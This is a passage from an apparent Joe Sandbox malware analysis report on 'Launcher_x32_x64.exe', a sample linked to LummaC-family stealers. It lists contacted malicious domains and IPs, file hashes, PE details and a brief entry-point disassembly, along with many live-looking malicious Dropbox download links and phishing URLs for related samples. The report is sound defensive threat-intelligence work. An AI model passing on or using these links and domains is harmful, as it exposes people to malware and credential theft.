https://github.com/dotnet/runtime7	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
http://uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com:443/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://datalake.azure.net/https://graph.microsoft.us/servicebus.chinacloudapi.cndocuments.microsoft	Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://paper.dropbox.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hellofax.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pal-test.adyen.com	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime?	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://www.hellosign.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://instructorledlearning.dropboxbusiness.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://.css	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/page_success/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/streetaddresszhttp://schemas.xmlsoap.org/ws/20	Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet/sdk-not-foundFailed	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-core-applaunch?	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/pithos/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sales.dropboxbusiness.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://photos.dropbox.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://a.sprig.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-warnings/	Launcher_x32_x64.exe	false	URL Reputation: safe	unknown
https://www.dropbox.com/encrypted_folder_download/service_worker.js	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtimef	Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime/issues/71847	Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime_	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://navi.dropbox.jp/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/serializationformat-binary-obsolete	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/METRIC_AZURERM_API_REQUEST_BUCKETSlabel	Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://gallery.usgovcloudapi.net/mariadb.database.usgovcloudapi.netdev.azuresynapse.usgovcloudapi.n	Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/binaryformatter	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/static/api/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtimeI_#	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
http://.jpg	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://docsend.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://showcase.dropbox.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.125.66.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
172.67.209.93	tenseddrywsqio.shop	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	locatedblsoqp.shop	European Union	13335	CLOUDFLARENETUS	true
162.125.66.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502259
Start date and time:	2024-08-31 21:17:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Launcher_x32_x64.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/1@5/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 4ud5if5k.0ze.exe, PID 7972 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:18:21	API Interceptor	3x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.125.66.18	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	https://www.dropbox.com/scl/fi/op070xas0eh2p222upauu/Document-1.docx?rlkey=lrjcxds4fso3d5dmmlv1itair&st=c1fl3n2k&dl=0	Get hash	malicious	HTMLPhisher	Browse
	GMP Architecture MailBox System shared _PROPOSAL REQUEST PORTAL_ with you.eml	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/scl/fi/divczsjhc8wrt1wb18r2b/AT-Society-Directory.docx?rlkey=sjkzm3g8jkcekmsxm460sja78&st=r52leq64&dl=0	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	https://www.dropbox.com/l/scl/AAC7hFTuscUDDY6M1jF4WYmjaGusJYsDNvY	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAB-caRhWqrML98bRdmDd16YpJdQGQoNwfM	Get hash	malicious	Unknown	Browse
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAC7bZ0VQI_UDvxV34o89OGVuGeoyGILFFw	Get hash	malicious	Unknown	Browse
	+10618189554_VM_Mbda-usVM.mp3.pdf	Get hash	malicious	Unknown	Browse
	XCc5WuJdF7.exe	Get hash	malicious	Zhark RAT	Browse
172.67.209.93	Setup_v1.43.exe	Get hash	malicious	LummaC	Browse
188.114.97.3	play.exe	Get hash	malicious	FormBook	Browse	www.playdoge.buzz/dkjp/
	SecuriteInfo.com.Trojan.DownLoader47.19820.5694.3811.exe	Get hash	malicious	Unknown	Browse	rustmacro.ru/autoupdate.exe
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/DGApDW0P/download
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/DGApDW0P/download
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/8hthkO24/download
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	Izvod racuna u prilogu.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.coinwab.com/kqqj/
	file.exe	Get hash	malicious	LummaC	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	Document_pdf.exe	Get hash	malicious	FormBook	Browse	www.x0x9x8x8x7x6.shop/dscg/
	QUOTATION_AUGQTRA071244#U00b7PDF.scr	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/zbi9vNYx/download
162.125.66.15	SecuriteInfo.com.Trojan.Generic.11766800.6393.26010.exe	Get hash	malicious	Unknown	Browse	dl.dropbox.com/u/15777331/OHack/KillSwitch.txt
	SecuriteInfo.com.Trojan.Generic.11766800.6393.26010.exe	Get hash	malicious	Unknown	Browse	dl.dropbox.com/u/15777331/OHack/KillSwitch.txt
	gMMZLib2JZ.vbs	Get hash	malicious	Unknown	Browse	dl.dropbox.com/s/fqlbp4q0pz67dy9/FlashPlayerUpdt.exe?dl=1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
edge-block-www-env.dropbox-dns.com	https://dl.dropboxusercontent.com/scl/fi/i2zpknhy9u07fnzd16odr/Rechnungsnummer-DE230012940.zip?rlkey=so2rxiz6wbdl8wq5j881wuadq&st=f0ckmecz&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/4mhppt9446w16rxyp8wch/ATDKM0-019002993PDF.zip?rlkey=bolgaypwmfsk0ve6n3zskuk1w&st=655ymbiy&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?rlkey=jd0edpow40fhsvvb7o73yg1xi&st=x3gp2xzd&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?rlkey=jd0edpow40fhsvvb7o73yg1xi&st=x3gp2xzd&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?rlkey=jd0edpow40fhsvvb7o73yg1xi&st=x3gp2xzd&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/9mq8fevieyomk2dwjlzb5/doc.999320499204.zip?rlkey=7w18jcpjwob3pxilash0ytmmv&st=yshowk4i&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/9mq8fevieyomk2dwjlzb5/doc.999320499204.zip?rlkey=7w18jcpjwob3pxilash0ytmmv&st=yshowk4i&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/amk8gyukhso9fnawmzyn5/rechnung-juli2024.zip?rlkey=ys40hkxopm2rk8nb3por1hahy&st=rv9g5p7z&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://webmail.cratuscapita.cc/163/#test.test@test.com	Get hash	malicious	HTMLPhisher	Browse	162.125.66.15
locatedblsoqp.shop	l5u4ezxr.u51.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	188.114.96.3
	IrisMichael263Fiona.lib.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	26oGUTrmHt.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
www-env.dropbox-dns.com	https://www.dropbox.com/scl/fi/op070xas0eh2p222upauu/Document-1.docx?rlkey=lrjcxds4fso3d5dmmlv1itair&st=c1fl3n2k&dl=0	Get hash	malicious	HTMLPhisher	Browse	162.125.66.18
	GMP Architecture MailBox System shared _PROPOSAL REQUEST PORTAL_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://www.dropbox.com/scl/fi/divczsjhc8wrt1wb18r2b/AT-Society-Directory.docx?rlkey=sjkzm3g8jkcekmsxm460sja78&st=r52leq64&dl=0	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	162.125.66.18
	https://www.dropbox.com/l/scl/AAC7hFTuscUDDY6M1jF4WYmjaGusJYsDNvY	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://www.dropbox.com/l/scl/AAB-caRhWqrML98bRdmDd16YpJdQGQoNwfM	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://dl.dropboxusercontent.com/scl/fi/i2zpknhy9u07fnzd16odr/Rechnungsnummer-DE230012940.zip?rlkey=so2rxiz6wbdl8wq5j881wuadq&st=f0ckmecz&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://www.dropbox.com/l/scl/AAC7bZ0VQI_UDvxV34o89OGVuGeoyGILFFw	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://www.dropbox.com/l/scl/AADWaUTlzWcQZNBoJk7yo7JJzYq9pSy0xLY	Get hash	malicious	Unknown	Browse	162.125.9.18
	XCc5WuJdF7.exe	Get hash	malicious	Zhark RAT	Browse	162.125.66.18
tenseddrywsqio.shop	l5u4ezxr.u51.exe	Get hash	malicious	LummaC	Browse	104.21.69.149
tenseddrywsqio.shop	Setup_v1.43.exe	Get hash	malicious	LummaC	Browse	172.67.209.93

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	l5u4ezxr.u51.exe	Get hash	malicious	LummaC	Browse	104.21.69.149
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Win64.MalwareX-gen.30136.14956.exe	Get hash	malicious	Unknown	Browse	172.65.154.135
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	162.159.134.233
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Trojan.Win64.Krypt.13435.32435.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
DROPBOXUS	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	162.125.66.18
	https://www.dropbox.com/scl/fi/op070xas0eh2p222upauu/Document-1.docx?rlkey=lrjcxds4fso3d5dmmlv1itair&st=c1fl3n2k&dl=0	Get hash	malicious	HTMLPhisher	Browse	162.125.66.18
	GMP Architecture MailBox System shared _PROPOSAL REQUEST PORTAL_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
	https://www.dropbox.com/scl/fi/divczsjhc8wrt1wb18r2b/AT-Society-Directory.docx?rlkey=sjkzm3g8jkcekmsxm460sja78&st=r52leq64&dl=0	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	162.125.1.20
	https://www.dropbox.com/l/scl/AAC7hFTuscUDDY6M1jF4WYmjaGusJYsDNvY	Get hash	malicious	Unknown	Browse	162.125.21.1
	https://www.dropbox.com/l/scl/AAB-caRhWqrML98bRdmDd16YpJdQGQoNwfM	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://dl.dropboxusercontent.com/scl/fi/i2zpknhy9u07fnzd16odr/Rechnungsnummer-DE230012940.zip?rlkey=so2rxiz6wbdl8wq5j881wuadq&st=f0ckmecz&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://www.dropbox.com/l/scl/AAC7bZ0VQI_UDvxV34o89OGVuGeoyGILFFw	Get hash	malicious	Unknown	Browse	162.125.66.18
	+10618189554_VM_Mbda-usVM.mp3.pdf	Get hash	malicious	Unknown	Browse	162.125.21.1
CLOUDFLARENETUS	l5u4ezxr.u51.exe	Get hash	malicious	LummaC	Browse	104.21.69.149
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Win64.MalwareX-gen.30136.14956.exe	Get hash	malicious	Unknown	Browse	172.65.154.135
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	162.159.134.233
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Trojan.Win64.Krypt.13435.32435.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
DROPBOXUS	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	162.125.66.18
	https://www.dropbox.com/scl/fi/op070xas0eh2p222upauu/Document-1.docx?rlkey=lrjcxds4fso3d5dmmlv1itair&st=c1fl3n2k&dl=0	Get hash	malicious	HTMLPhisher	Browse	162.125.66.18
	GMP Architecture MailBox System shared _PROPOSAL REQUEST PORTAL_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
	https://www.dropbox.com/scl/fi/divczsjhc8wrt1wb18r2b/AT-Society-Directory.docx?rlkey=sjkzm3g8jkcekmsxm460sja78&st=r52leq64&dl=0	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	162.125.1.20
	https://www.dropbox.com/l/scl/AAC7hFTuscUDDY6M1jF4WYmjaGusJYsDNvY	Get hash	malicious	Unknown	Browse	162.125.21.1
	https://www.dropbox.com/l/scl/AAB-caRhWqrML98bRdmDd16YpJdQGQoNwfM	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://dl.dropboxusercontent.com/scl/fi/i2zpknhy9u07fnzd16odr/Rechnungsnummer-DE230012940.zip?rlkey=so2rxiz6wbdl8wq5j881wuadq&st=f0ckmecz&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://www.dropbox.com/l/scl/AAC7bZ0VQI_UDvxV34o89OGVuGeoyGILFFw	Get hash	malicious	Unknown	Browse	162.125.66.18
	+10618189554_VM_Mbda-usVM.mp3.pdf	Get hash	malicious	Unknown	Browse	162.125.21.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://reyymsnwhduf.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	162.125.66.15 162.125.66.18
	http://www.kraftpaints.ro/eve/pdfonline-3d2-new-bg2/pdfonline-3d2-new.bg2/pdfonline-3d2-newbg2/index.html	Get hash	malicious	HTMLPhisher	Browse	162.125.66.15 162.125.66.18
	https://login.ap-financier.com/TaqWmoGv	Get hash	malicious	HTMLPhisher	Browse	162.125.66.15 162.125.66.18
	https://adrianatg.com/	Get hash	malicious	Unknown	Browse	162.125.66.15 162.125.66.18
	http://helpbussiness-policycenterpro.art/	Get hash	malicious	Unknown	Browse	162.125.66.15 162.125.66.18
	http://chanf-trojan.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	162.125.66.15 162.125.66.18
	https://seoservicesiox.firebaseapp.com/?err=tdn8ci80q...~311~...1bab28021k78dd4g97a557ek2c2e4	Get hash	malicious	HTMLPhisher	Browse	162.125.66.15 162.125.66.18
	http://cpsenrgy.com	Get hash	malicious	Unknown	Browse	162.125.66.15 162.125.66.18
	http://oc.onos.eslt.cp.sulaimonandco.com/ge/identifier-1.html.php	Get hash	malicious	Unknown	Browse	162.125.66.15 162.125.66.18
	https://xjp.steamproxy.vip/id/sircapthe4th	Get hash	malicious	Unknown	Browse	162.125.66.15 162.125.66.18
a0e9f5d64349fb13191bc781f81f42e1	l5u4ezxr.u51.exe	Get hash	malicious	LummaC	Browse	172.67.209.93 188.114.97.3
	Order enquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.209.93 188.114.97.3
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	172.67.209.93 188.114.97.3
	BankPaymAdviceVend.Report.docx	Get hash	malicious	Unknown	Browse	172.67.209.93 188.114.97.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.209.93 188.114.97.3
	IrisMichael263Fiona.lib.exe	Get hash	malicious	LummaC	Browse	172.67.209.93 188.114.97.3
	https://seoservicesiox.firebaseapp.com/&err=b0qmbz0rr7j7jwfxwuge?err=am30dbsswi0	Get hash	malicious	HTMLPhisher	Browse	172.67.209.93 188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.209.93 188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.209.93 188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.209.93 188.114.97.3

Process:	C:\Users\user\Desktop\Launcher_x32_x64.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17182720
Entropy (8bit):	5.9500932356954035
Encrypted:	false
SSDEEP:	98304:AKq1QUe4702fsiRydEaczc6DQ2LNqMlDn4VPCIknoy1hFE+BFLiJBlS4S1N9hyt5:Eedm/RydEaczc6VLNUVqNouDQJbl
MD5:	5BD0EC56270D24C40AA16D7FA73F2538
SHA1:	43F9FD5AE32C851B806F501E20E2747B9F831BBE
SHA-256:	7DAE9EA6AF1AF34B4F423F1FB3E3004F35CFD00781A05FCAD1B2714160EB0AC8
SHA-512:	86242A1CF7C9B3FF8994E160DD06805F6E4BB4A577E58E6D0A60C70613F34BA28B71422573A8029C27212E7E5203553F02DE20C9532151207C22D7655C331C5D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........H................q.......................@..........................0.......h....@.....................................L....@..8........................K...................................................&...............................text.....q.......q................. ..`.rdata...&....q..(....q.............@..@.data...............................@....idata..L...........................@....reloc...K.......L..................@..B.symtab......0.......H.................B.rsrc...8....@.......J..............@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.827321993567706
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Launcher_x32_x64.exe
File size:	62'256'356 bytes
MD5:	3934bed89091117678e2f202033fa78a
SHA1:	97ee80d1b44aea7711a4465d902119965d4c3c94
SHA256:	1d03b3ff5866b8064fc703327278785e0e582aa46e79eecad9c4a7fff1ad0a90
SHA512:	c7e83eec45139964161ffb98d2491571de98ee8f5ac6f18395207563af7889d3766555304e2d86b6cea38fe7a0453c10380a1c4c7aaf4c623293a7b7e88d512e
SSDEEP:	786432:ecOGn1TedQegs5ibjYrzw0P7pmLn+ti0y3TfPZ3rGyn3ipTyf:ecOGn1edTrzq+ti9DSpQ
TLSH:	7BD7BF22B7C88A26F99E067281BBE755C37DA9110735EBCB1698FAD818723D14D313D3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............e.K.e.K.e.K..^K.e.K...J.e.K...J.e.K...J.e.K...J.e.K...J.e.K.e.K=d.K...J.e.K...JAg.K...J.e.K..2K.e.K...J.e.KRich.e.K.......

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8ed250
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6696B7EE [Tue Jul 16 18:11:58 2024 UTC]
TLS Callbacks:	0x8ec770, 0x8ecef0
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f4680c52b4d4f6f1e0f92b81397ce8c4

Entrypoint Preview

Instruction
call 00007F8008E7CD7Bh
jmp 00007F8008E7C5DDh
push ebp
mov ebp, esp
push FFFFFFFFh
push 0093D329h
mov eax, dword ptr fs:[00000000h]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword ptr [00A79040h]
xor eax, ebp
push eax
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp+08h]
and dword ptr [ebp-04h], 00000000h
call 00007F8008BE6076h
pop ecx
jmp 00007F8008E7C77Ah
mov eax, 008ED298h
ret
xor eax, eax
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
pop ebp
jmp 00007F8008E7C717h
int3
int3
int3
int3
int3
int3
int3
int3
push 008EE2E0h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [00A79040h]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
